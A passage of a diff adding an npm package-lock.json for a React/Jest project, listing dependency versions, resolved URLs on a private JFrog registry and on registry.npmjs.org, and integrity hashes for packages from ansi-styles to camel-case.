"sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "requires": { + "color-convert": "^1.9.0" + } + }, + "any-promise": { + "version": "1.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==" + }, + "anymatch": { + "version": "3.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "arg": { + "version": "5.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==" + }, + "argparse": { + "version": "1.0.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "aria-query": { + "version": "5.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/aria-query/-/aria-query-5.2.1.tgz", + "integrity": "sha512-7uFg4b+lETFgdaJyETnILsXgnnzVnkHcgRbwbPwevm5x/LmUlt3MjczMRe1zg824iBgXZNRPTBftNYyRSKLp2g==", + "requires": { + "dequal": "^2.0.3" + } + }, + "array-buffer-byte-length": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz", + "integrity": "sha512-LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A==", + "requires": { + "call-bind": "^1.0.2", + "is-array-buffer": "^3.0.1" + } + }, + "array-flatten": { + "version": "2.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array-flatten/-/array-flatten-2.1.2.tgz", + "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==" + }, + "array-includes": { + "version": "3.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array-includes/-/array-includes-3.1.6.tgz", + "integrity": "sha512-sgTbLvL6cNnw24FnbaDyjmvddQ2ML8arZsgaJhoABMoplz/4QRhtrYS+alr1BUM1Bwp6dhx8vVCBSLG+StwOFw==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "get-intrinsic": "^1.1.3", + "is-string": "^1.0.7" + } + }, + "array-union": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==" + }, + "array.prototype.flat": { + "version": "1.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array.prototype.flat/-/array.prototype.flat-1.3.1.tgz", + "integrity": "sha512-roTU0KWIOmJ4DRLmwKd19Otg0/mT3qPNt0Qb3GWW8iObuZXxrjB/pzn0R3hqpRSWg4HCwqx+0vwOnWnvlOyeIA==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0" + } + }, + "array.prototype.flatmap": { + "version": "1.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array.prototype.flatmap/-/array.prototype.flatmap-1.3.1.tgz", + "integrity": "sha512-8UGn9O1FDVvMNB0UlLv4voxRMze7+FpHyF5mSMRjWHUMlpoDViniy05870VlxhfgTnLbpuwTzvD76MTtWxB/mQ==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0" + } + }, + "array.prototype.reduce": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array.prototype.reduce/-/array.prototype.reduce-1.0.5.tgz", + "integrity": "sha512-kDdugMl7id9COE8R7MHF5jWk7Dqt/fs4Pv+JXoICnYwqpjjjbUurz6w5fT5IG6brLdJhv6/VoHB0H7oyIBXd+Q==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-array-method-boxes-properly": "^1.0.0", + "is-string": "^1.0.7" + } + }, + "array.prototype.tosorted": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array.prototype.tosorted/-/array.prototype.tosorted-1.1.1.tgz", + "integrity": "sha512-pZYPXPRl2PqWcsUs6LOMn+1f1532nEoPTYowBtqLwAW+W8vSVhkIGnmOX1t/UQjD6YGI0vcD2B1U7ZFGQH9jnQ==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0", + "get-intrinsic": "^1.1.3" + } + }, + "asap": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==" + }, + "ast-types-flow": { + "version": "0.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ast-types-flow/-/ast-types-flow-0.0.7.tgz", + "integrity": "sha512-eBvWn1lvIApYMhzQMsu9ciLfkBY499mFZlNqG+/9WR7PVlroQw0vG30cOQQbaKz3sCEc44TAOu2ykzqXSNnwag==" + }, + "async": { + "version": "3.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/async/-/async-3.2.4.tgz", + "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ==" + }, + "asynckit": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + }, + "at-least-node": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==" + }, + "autoprefixer": { + "version": "10.4.14", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/autoprefixer/-/autoprefixer-10.4.14.tgz", + "integrity": "sha512-FQzyfOsTlwVzjHxKEqRIAdJx9niO6VCBCoEwax/VLSoQF29ggECcPuBqUMZ+u8jCZOPSy8b8/8KnuFbp0SaFZQ==", + "requires": { + "browserslist": "^4.21.5", + "caniuse-lite": "^1.0.30001464", + "fraction.js": "^4.2.0", + "normalize-range": "^0.1.2", + "picocolors": "^1.0.0", + "postcss-value-parser": "^4.2.0" + } + }, + "available-typed-arrays": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz", + "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==" + }, + "axe-core": { + "version": "4.7.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/axe-core/-/axe-core-4.7.2.tgz", + "integrity": "sha512-zIURGIS1E1Q4pcrMjp+nnEh+16G56eG/MUllJH8yEvw7asDo7Ac9uhC9KIH5jzpITueEZolfYglnCGIuSBz39g==" + }, + "axobject-query": { + "version": "3.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/axobject-query/-/axobject-query-3.2.1.tgz", + "integrity": "sha512-jsyHu61e6N4Vbz/v18DHwWYKK0bSWLqn47eeDSKPB7m8tqMHF9YJ+mhIk2lVteyZrY8tnSj/jHOv4YiTCuCJgg==", + "requires": { + "dequal": "^2.0.3" + } + }, + "babel-jest": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-jest/-/babel-jest-27.5.1.tgz", + "integrity": "sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==", + "requires": { + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/babel__core": "^7.1.14", + "babel-plugin-istanbul": "^6.1.1", + "babel-preset-jest": "^27.5.1", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "slash": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "babel-loader": { + "version": "8.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-loader/-/babel-loader-8.3.0.tgz", + "integrity": "sha512-H8SvsMF+m9t15HNLMipppzkC+Y2Yq+v3SonZyU70RBL/h1gxPkH08Ot8pEE9Z4Kd+czyWJClmFS8qzIP9OZ04Q==", + "requires": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^2.0.0", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + }, + "dependencies": { + "schema-utils": { + "version": "2.7.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "requires": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + } + } + } + }, + "babel-plugin-istanbul": { + "version": "6.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz", + "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==", + "requires": { + "@babel/helper-plugin-utils": "^7.0.0", + "@istanbuljs/load-nyc-config": "^1.0.0", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-instrument": "^5.0.4", + "test-exclude": "^6.0.0" + } + }, + "babel-plugin-jest-hoist": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz", + "integrity": "sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==", + "requires": { + "@babel/template": "^7.3.3", + "@babel/types": "^7.3.3", + "@types/babel__core": "^7.0.0", + "@types/babel__traverse": "^7.0.6" + } + }, + "babel-plugin-macros": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", + "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", + "requires": { + "@babel/runtime": "^7.12.5", + "cosmiconfig": "^7.0.0", + "resolve": "^1.19.0" + } + }, + "babel-plugin-named-asset-import": { + "version": "0.3.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz", + "integrity": "sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==", + "requires": {} + }, + "babel-plugin-polyfill-corejs2": { + "version": "0.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.3.tgz", + "integrity": "sha512-bM3gHc337Dta490gg+/AseNB9L4YLHxq1nGKZZSHbhXv4aTYU2MD2cjza1Ru4S6975YLTaL1K8uJf6ukJhhmtw==", + "requires": { + "@babel/compat-data": "^7.17.7", + "@babel/helper-define-polyfill-provider": "^0.4.0", + "semver": "^6.1.1" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "babel-plugin-polyfill-corejs3": { + "version": "0.8.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.8.1.tgz", + "integrity": "sha512-ikFrZITKg1xH6pLND8zT14UPgjKHiGLqex7rGEZCH2EvhsneJaJPemmpQaIZV5AL03II+lXylw3UmddDK8RU5Q==", + "requires": { + "@babel/helper-define-polyfill-provider": "^0.4.0", + "core-js-compat": "^3.30.1" + } + }, + "babel-plugin-polyfill-regenerator": { + "version": "0.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.5.0.tgz", + "integrity": "sha512-hDJtKjMLVa7Z+LwnTCxoDLQj6wdc+B8dun7ayF2fYieI6OzfuvcLMB32ihJZ4UhCBwNYGl5bg/x/P9cMdnkc2g==", + "requires": { + "@babel/helper-define-polyfill-provider": "^0.4.0" + } + }, + "babel-plugin-transform-react-remove-prop-types": { + "version": "0.4.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz", + "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA==" + }, + "babel-preset-current-node-syntax": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz", + "integrity": "sha512-M7LQ0bxarkxQoN+vz5aJPsLBn77n8QgTFmo8WK0/44auK2xlCXrYcUxHFxgU7qW5Yzw/CjmLRK2uJzaCd7LvqQ==", + "requires": { + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-bigint": "^7.8.3", + "@babel/plugin-syntax-class-properties": "^7.8.3", + "@babel/plugin-syntax-import-meta": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.8.3", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-top-level-await": "^7.8.3" + } + }, + "babel-preset-jest": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz", + "integrity": "sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==", + "requires": { + "babel-plugin-jest-hoist": "^27.5.1", + "babel-preset-current-node-syntax": "^1.0.0" + } + }, + "babel-preset-react-app": { + "version": "10.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/babel-preset-react-app/-/babel-preset-react-app-10.0.1.tgz", + "integrity": "sha512-b0D9IZ1WhhCWkrTXyFuIIgqGzSkRIH5D5AmB0bXbzYAB1OBAwHcUeyWW2LorutLWF5btNo/N7r/cIdmvvKJlYg==", + "requires": { + "@babel/core": "^7.16.0", + "@babel/plugin-proposal-class-properties": "^7.16.0", + "@babel/plugin-proposal-decorators": "^7.16.4", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.16.0", + "@babel/plugin-proposal-numeric-separator": "^7.16.0", + "@babel/plugin-proposal-optional-chaining": "^7.16.0", + "@babel/plugin-proposal-private-methods": "^7.16.0", + "@babel/plugin-transform-flow-strip-types": "^7.16.0", + "@babel/plugin-transform-react-display-name": "^7.16.0", + "@babel/plugin-transform-runtime": "^7.16.4", + "@babel/preset-env": "^7.16.4", + "@babel/preset-react": "^7.16.0", + "@babel/preset-typescript": "^7.16.0", + "@babel/runtime": "^7.16.3", + "babel-plugin-macros": "^3.1.0", + "babel-plugin-transform-react-remove-prop-types": "^0.4.24" + } + }, + "balanced-match": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, + "batch": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/batch/-/batch-0.6.1.tgz", + "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==" + }, + "bfj": { + "version": "7.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/bfj/-/bfj-7.0.2.tgz", + "integrity": "sha512-+e/UqUzwmzJamNF50tBV6tZPTORow7gQ96iFow+8b562OdMpEK0BcJEq2OSPEDmAbSMBQ7PKZ87ubFkgxpYWgw==", + "requires": { + "bluebird": "^3.5.5", + "check-types": "^11.1.1", + "hoopy": "^0.1.4", + "tryer": "^1.0.1" + } + }, + "big.js": { + "version": "5.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==" + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==" + }, + "bluebird": { + "version": "3.7.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==" + }, + "body-parser": { + "version": "1.20.3", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz", + "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==", + "requires": { + "bytes": "3.1.2", + "content-type": "~1.0.5", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.13.0", + "raw-body": "2.5.2", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "dependencies": { + "bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==" + }, + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + } + } + }, + "bonjour-service": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/bonjour-service/-/bonjour-service-1.1.1.tgz", + "integrity": "sha512-Z/5lQRMOG9k7W+FkeGTNjh7htqn/2LMnfOvBZ8pynNZCM9MwkQkI3zeI4oz09uWdcgmgHugVvBqxGg4VQJ5PCg==", + "requires": { + "array-flatten": "^2.1.2", + "dns-equal": "^1.0.0", + "fast-deep-equal": "^3.1.3", + "multicast-dns": "^7.2.5" + } + }, + "boolbase": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==" + }, + "brace-expansion": { + "version": "1.1.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "requires": { + "fill-range": "^7.1.1" + } + }, + "browser-process-hrtime": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", + "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==" + }, + "browserslist": { + "version": "4.23.3", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.23.3.tgz", + "integrity": "sha512-btwCFJVjI4YWDNfau8RhZ+B1Q/VLoUITrm3RlP6y1tYGWIOa+InuYiRGXUBXo8nA1qKmHMyLB/iVQg5TT4eFoA==", + "requires": { + "caniuse-lite": "^1.0.30001646", + "electron-to-chromium": "^1.5.4", + "node-releases": "^2.0.18", + "update-browserslist-db": "^1.1.0" + } + }, + "bser": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/bser/-/bser-2.1.1.tgz", + "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", + "requires": { + "node-int64": "^0.4.0" + } + }, + "buffer-from": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" + }, + "builtin-modules": { + "version": "3.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/builtin-modules/-/builtin-modules-3.3.0.tgz", + "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==" + }, + "bytes": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==" + }, + "call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", + "requires": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + } + }, + "callsites": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==" + }, + "camel-case": { + "version": "4.1.2", + "resolved": 